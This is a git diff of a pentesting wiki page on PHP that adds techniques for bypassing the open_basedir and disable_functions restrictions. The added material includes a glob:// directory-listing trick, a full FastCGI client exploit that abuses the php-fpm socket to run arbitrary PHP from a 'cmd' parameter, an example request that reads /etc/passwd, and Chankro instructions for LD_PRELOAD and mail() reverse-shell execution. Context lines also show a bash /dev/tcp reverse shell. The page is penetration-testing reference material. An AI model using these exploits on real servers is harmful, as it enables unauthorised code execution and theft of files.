diff --git a/.gitbook/assets/image (380).png b/.gitbook/assets/image (380).png index e7adc9642..ad74964a9 100644 Binary files a/.gitbook/assets/image (380).png and b/.gitbook/assets/image (380).png differ diff --git a/.gitbook/assets/image (381).png b/.gitbook/assets/image (381).png new file mode 100644 index 000000000..e7adc9642 Binary files /dev/null and b/.gitbook/assets/image (381).png differ diff --git a/.gitbook/assets/image (382).png b/.gitbook/assets/image (382).png new file mode 100644 index 000000000..ba032c11e Binary files /dev/null and b/.gitbook/assets/image (382).png differ diff --git a/.gitbook/assets/image (383).png b/.gitbook/assets/image (383).png new file mode 100644 index 000000000..53b5fe2b9 Binary files /dev/null and b/.gitbook/assets/image (383).png differ diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions.md b/pentesting/pentesting-web/php-tricks-esp/php-useful-functions.md index d4f169ae5..bd587f1f1 100644 --- a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions.md +++ b/pentesting/pentesting-web/php-tricks-esp/php-useful-functions.md @@ -58,8 +58,6 @@ pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` -**mail** and **putenv** - Chankro tool - ### PHP Code Execution Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities. @@ -79,28 +77,461 @@ serialize/unserialize** ## disable\_functions & open\_basedir -**Disabled functions** is the setting that can be configured in `.ini` files in PHP that will **forbid** the use of the indicated **functions**. **Open basedir** is the setting that indicates to PHP the folder that it can access. +**Disabled functions** is the setting that can be configured in `.ini` files in PHP that will **forbid** the use of the indicated **functions**. **Open basedir** is the setting that indicates to PHP the folder that it can access. +The PHP setting sue to be configured in the path _/etc/php7/conf.d_ or similar. Both configuration can be seen in the output of **`phpinfo()`**: ![](https://0xrick.github.io/images/hackthebox/kryptos/17.png) +![](../../../.gitbook/assets/image%20%28381%29.png) + +## open\_basedir Bypass + +`open_basedir` will configure the folders that PHP can access, you **won't be able to to write/read/execute any file outside** those folders, but also you **won't even be able to list** other directories. +However, if somehow you are able to execute arbitrary PHP code you can **try** the following chunk of **codes** to try to **bypass** the restriction. + +### Listing dirs with glob:// bypass + +In this first example the `glob://` protocol with some path bypass is used: + +```php +__toString(); +} +$it = new DirectoryIterator("glob:///v??/run/.*"); +foreach($it as $f) { + $file_list[] = $f->__toString(); +} +sort($file_list); +foreach($file_list as $f){ + echo "{$f}
"; +} +``` + +**Note1**: In the path you can also use `/e??/*` to list `/etc/*` and any other folder. +**Note2**: It looks like part of the code is duplicated, but that's actually necessary! +**Note3**: This example is only useful to list folders not to read files + +### Full open\_basedir bypass abusing FastCGI + +If **`php-fpm`** is configured you can abuse it to completely bypass **open\_basedir**: + ![](../../../.gitbook/assets/image%20%28380%29.png) -### Bypassing +![](../../../.gitbook/assets/image%20%28382%29.png) -A way to **bypass the common disabled functions** is using [https://github.com/TarlogicSecurity/Chankro](https://github.com/TarlogicSecurity/Chankro) -that bypass them using the php functionns _**mail\(\)**_ and _**putenv\(\)**._ +Note that the first thing you need to do is find where is the **unix socket of php-fpm**. It use to be under `/var/run` so you can **use the previous code to list the directory and find it**. +Code from [here](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy). -### Use PHP capabilities +```php + + * @version 1.0 + */ +class FCGIClient +{ + const VERSION_1 = 1; + const BEGIN_REQUEST = 1; + const ABORT_REQUEST = 2; + const END_REQUEST = 3; + const PARAMS = 4; + const STDIN = 5; + const STDOUT = 6; + const STDERR = 7; + const DATA = 8; + const GET_VALUES = 9; + const GET_VALUES_RESULT = 10; + const UNKNOWN_TYPE = 11; + const MAXTYPE = self::UNKNOWN_TYPE; + const RESPONDER = 1; + const AUTHORIZER = 2; + const FILTER = 3; + const REQUEST_COMPLETE = 0; + const CANT_MPX_CONN = 1; + const OVERLOADED = 2; + const UNKNOWN_ROLE = 3; + const MAX_CONNS = 'MAX_CONNS'; + const MAX_REQS = 'MAX_REQS'; + const MPXS_CONNS = 'MPXS_CONNS'; + const HEADER_LEN = 8; + /** + * Socket + * @var Resource + */ + private $_sock = null; + /** + * Host + * @var String + */ + private $_host = null; + /** + * Port + * @var Integer + */ + private $_port = null; + /** + * Keep Alive + * @var Boolean + */ + private $_keepAlive = false; + /** + * Constructor + * + * @param String $host Host of the FastCGI application + * @param Integer $port Port of the FastCGI application + */ + public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket + { + $this->_host = $host; + $this->_port = $port; + } + /** + * Define whether or not the FastCGI application should keep the connection + * alive at the end of a request + * + * @param Boolean $b true if the connection should stay alive, false otherwise + */ + public function setKeepAlive($b) + { + $this->_keepAlive = (boolean)$b; + if (!$this->_keepAlive && $this->_sock) { + fclose($this->_sock); + } + } + /** + * Get the keep alive status + * + * @return Boolean true if the connection should stay alive, false otherwise + */ + public function getKeepAlive() + { + return $this->_keepAlive; + } + /** + * Create a connection to the FastCGI application + */ + private function connect() + { + if (!$this->_sock) { + //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); + $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); + if (!$this->_sock) { + throw new Exception('Unable to connect to FastCGI application'); + } + } + } + /** + * Build a FastCGI packet + * + * @param Integer $type Type of the packet + * @param String $content Content of the packet + * @param Integer $requestId RequestId + */ + private function buildPacket($type, $content, $requestId = 1) + { + $clen = strlen($content); + return chr(self::VERSION_1) /* version */ + . chr($type) /* type */ + . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ + . chr($requestId & 0xFF) /* requestIdB0 */ + . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ + . chr($clen & 0xFF) /* contentLengthB0 */ + . chr(0) /* paddingLength */ + . chr(0) /* reserved */ + . $content; /* content */ + } + /** + * Build an FastCGI Name value pair + * + * @param String $name Name + * @param String $value Value + * @return String FastCGI Name value pair + */ + private function buildNvpair($name, $value) + { + $nlen = strlen($name); + $vlen = strlen($value); + if ($nlen < 128) { + /* nameLengthB0 */ + $nvpair = chr($nlen); + } else { + /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ + $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); + } + if ($vlen < 128) { + /* valueLengthB0 */ + $nvpair .= chr($vlen); + } else { + /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ + $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); + } + /* nameData & valueData */ + return $nvpair . $name . $value; + } + /** + * Read a set of FastCGI Name value pairs + * + * @param String $data Data containing the set of FastCGI NVPair + * @return array of NVPair + */ + private function readNvpair($data, $length = null) + { + $array = array(); + if ($length === null) { + $length = strlen($data); + } + $p = 0; + while ($p != $length) { + $nlen = ord($data{$p++}); + if ($nlen >= 128) { + $nlen = ($nlen & 0x7F << 24); + $nlen |= (ord($data{$p++}) << 16); + $nlen |= (ord($data{$p++}) << 8); + $nlen |= (ord($data{$p++})); + } + $vlen = ord($data{$p++}); + if ($vlen >= 128) { + $vlen = ($nlen & 0x7F << 24); + $vlen |= (ord($data{$p++}) << 16); + $vlen |= (ord($data{$p++}) << 8); + $vlen |= (ord($data{$p++})); + } + $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); + $p += ($nlen + $vlen); + } + return $array; + } + /** + * Decode a FastCGI Packet + * + * @param String $data String containing all the packet + * @return array + */ + private function decodePacketHeader($data) + { + $ret = array(); + $ret['version'] = ord($data{0}); + $ret['type'] = ord($data{1}); + $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); + $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); + $ret['paddingLength'] = ord($data{6}); + $ret['reserved'] = ord($data{7}); + return $ret; + } + /** + * Read a FastCGI Packet + * + * @return array + */ + private function readPacket() + { + if ($packet = fread($this->_sock, self::HEADER_LEN)) { + $resp = $this->decodePacketHeader($packet); + $resp['content'] = ''; + if ($resp['contentLength']) { + $len = $resp['contentLength']; + while ($len && $buf=fread($this->_sock, $len)) { + $len -= strlen($buf); + $resp['content'] .= $buf; + } + } + if ($resp['paddingLength']) { + $buf=fread($this->_sock, $resp['paddingLength']); + } + return $resp; + } else { + return false; + } + } + /** + * Get Informations on the FastCGI application + * + * @param array $requestedInfo information to retrieve + * @return array + */ + public function getValues(array $requestedInfo) + { + $this->connect(); + $request = ''; + foreach ($requestedInfo as $info) { + $request .= $this->buildNvpair($info, ''); + } + fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); + $resp = $this->readPacket(); + if ($resp['type'] == self::GET_VALUES_RESULT) { + return $this->readNvpair($resp['content'], $resp['length']); + } else { + throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); + } + } + /** + * Execute a request to the FastCGI application + * + * @param array $params Array of parameters + * @param String $stdin Content + * @return String + */ + public function request(array $params, $stdin) + { + $response = ''; + $this->connect(); + $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); + $paramsRequest = ''; + foreach ($params as $key => $value) { + $paramsRequest .= $this->buildNvpair($key, $value); + } + if ($paramsRequest) { + $request .= $this->buildPacket(self::PARAMS, $paramsRequest); + } + $request .= $this->buildPacket(self::PARAMS, ''); + if ($stdin) { + $request .= $this->buildPacket(self::STDIN, $stdin); + } + $request .= $this->buildPacket(self::STDIN, ''); + fwrite($this->_sock, $request); + do { + $resp = $this->readPacket(); + if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { + $response .= $resp['content']; + } + } while ($resp && $resp['type'] != self::END_REQUEST); + var_dump($resp); + if (!is_array($resp)) { + throw new Exception('Bad request'); + } + switch (ord($resp['content']{4})) { + case self::CANT_MPX_CONN: + throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); + break; + case self::OVERLOADED: + throw new Exception('New request rejected; too busy [OVERLOADED]'); + break; + case self::UNKNOWN_ROLE: + throw new Exception('Role value not known [UNKNOWN_ROLE]'); + break; + case self::REQUEST_COMPLETE: + return $response; + } + } +} +?> +"; // php payload -- Doesnt do anything +$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"; +//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php"; +$params = array( + 'GATEWAY_INTERFACE' => 'FastCGI/1.0', + 'REQUEST_METHOD' => 'POST', + 'SCRIPT_FILENAME' => $filepath, + 'SCRIPT_NAME' => $req, + 'QUERY_STRING' => 'command='.$_REQUEST['cmd'], + 'REQUEST_URI' => $uri, + 'DOCUMENT_URI' => $req, +#'DOCUMENT_ROOT' => '/', + 'PHP_VALUE' => $php_value, + 'SERVER_SOFTWARE' => '80sec/wofeiwo', + 'REMOTE_ADDR' => '127.0.0.1', + 'REMOTE_PORT' => '9985', + 'SERVER_ADDR' => '127.0.0.1', + 'SERVER_PORT' => '80', + 'SERVER_NAME' => 'localhost', + 'SERVER_PROTOCOL' => 'HTTP/1.1', + 'CONTENT_LENGTH' => strlen($code) + ); +// print_r($_REQUEST); +// print_r($params); +//echo "Call: $uri\n\n"; +echo $client->request($params, $code)."\n"; +?> +``` + +This scripts will communicate with **unix socket of php-fpm** \(usually located in /var/run if fpm is used\) to execute arbitrary code. The `open_basedir` settings will be overwritten by the **PHP\_VALUE** attribute that is sent. +Note how `eval` is used to execute the PHP code you send inside the **cmd** parameter. +Also note the **commented line 324**, you can uncomment it and the **payload will automatically connect to the given URL and execute the PHP code** contained there. +Just access `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` to get the content of the `/etc/passwd` file. + +{% hint style="warning" %} +You may be thinking that just in the same way we have overwritten `open_basedir` configuration we can **overwrite `disable_functions`**. Well, try it, but it won't work, apparently **`disable_functions` can only be configured in a `.ini` php** configuration file and the changes you perform using PHP\_VALUE won't be effective on this specific setting. +{% endhint %} + +## disable\_functions Bypass + +If you manage have PHP code executing inside a machine you probably want to go to the next level and **execute arbitrary system commands**. In this situation is usually to discover that most or all the PHP **functions** that allow to **execute system commands have been disabled** in **`disable_functions`.** +So, lets see how you can bypass this restriction \(if you can\) + +### Bypassing using other system functions + +Just return to the begging of this page and **check if any of the command executing functions isn't disabled**. If you find just 1 of them, you will be able to use it to execute arbitrary system commands. + +### Bypass using Chankro + +It's well known that some functions in PHP like `mail()`are going to **execute binaries inside the system**. Therefore, you can abuse them using the environment variable `LD_PRELOAD` to make them load an arbitrary library that can execute anything. + +In order to abuse this misconfiguration you can [**Chankro**](https://github.com/TarlogicSecurity/Chankro). This is a tool that will **generate a PHP exploit** that you need to upload to the vulnerable server and execute it \(access it via web\). +**Chankro** will write inside the victims disc the **library and the reverse shell** you want to execute and will use the**`LD_PRELOAD` trick + PHP `mail()`** function to execute the reverse shell. + +Note that in order to use **Chankro**, `mail` and `putenv` **cannot appear inside the `disable_functions` list**. +In the following example you can see how to **create a chankro exploit** for **arch 64**, that will execute `whoami` and save the out in _/tmp/chankro\_shell.out_, chankro will **write the library and the payload** in _/tmp_ and the **final exploit** is going to be called **bicho.php** \(that's the file you need to upload to the victims server\): + +{% tabs %} +{% tab title="shell.sh" %} +```php +#!/bin/sh +whoami > /tmp/chankro_shell.out +``` +{% endtab %} + +{% tab title="Chankro" %} +```bash +python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php +``` +{% endtab %} +{% endtabs %} + +More information about this technique and Chankro here: [https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/) + +### "Bypass" using PHP capabilities Note that using **PHP** you can **read and write files, create directories and change permissions**. You can even **dump databases**. -Maybe using **PHP** to **enumerate** the box you can find a way to escalate privileges/execute commands. +Maybe using **PHP** to **enumerate** the box you can find a way to escalate privileges/execute commands \(for example reading some private ssh key\). + +I have created a webshell that makes very easy to perform this actions \(note that most webshells will offer you this options also\): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) -I have created a webshell that makes very easy to perform this actions: [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) -## ## Other Interesting PHP functions